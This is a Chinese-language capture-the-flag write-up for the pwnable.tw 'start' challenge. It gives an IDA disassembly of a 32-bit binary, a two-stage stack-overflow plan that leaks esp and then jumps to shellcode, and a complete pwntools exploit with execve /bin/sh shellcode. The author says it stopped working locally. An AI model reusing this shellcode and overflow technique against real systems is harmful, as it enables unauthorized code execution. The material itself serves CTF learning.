把程序放进ubuntu里面看到是32位然后保护什么保护也没开应该很简单~~
打开IDA分析
char start()
{
char result; // al
result = 3;
__asm
{
int 80h; LINUX - sys_write
int 80h; LINUX -
}
return result;
}
这是什么鬼直接看汇编代码我靠
.text:08048060
.text:08048060 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed
.text:0804809C
.text:0804809D
.text:0804809D ; =============== S U B R O U T I N E =======================================
.text:0804809D
.text:0804809D ; Attributes: noreturn
.text:0804809D
.text:0804809D ; void exit(int status)
.text:0804809D _exit proc near ; DATA XREF: _start+1↑o
.text:0804809D pop esp
.text:0804809E xor eax, eax
.text:080480A0 inc eax
.text:080480A1 int 80h ; LINUX - sys_exit
.text:080480A1 _exit endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text ends
.text:080480A1
.text:080480A1
.text:080480A1 end _start
看提示都可以大致阅读出事读入一个长度的字符串然后int 80h中断有一个ret这就得想办法溢出到这里执行我们写的shellcode所以我们就得想办法得到esp的真实地址,我想到的就是通过2次溢出来getshell,第一次溢出得到esp的真实地址然后第二次溢出getshell
这里附上我的exp:
from pwn import *
shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
def pwn(debug):
if(debug==1):
p=process('./start')
elf=ELF('./start')
else:
p=remote('chall.pwnable.tw',10000)
offset=20
ret=0x08048087
payload='a'*offset+p32(ret)
p.recvuntil(':')
p.sendline(payload)
data=p.recv()
leak=u32(data[:4])
print leak
payload2='a'*offset+p32(leak+offset)+'aaaa'*4+shellcode
p.sendline(payload2)
p.interactive()
if __name__=='__main__':
pwn(1)
这个我觉得应该行阿可是我本地调试getshell了一段时间突然就不可以了我靠大佬们如果懂可以告诉我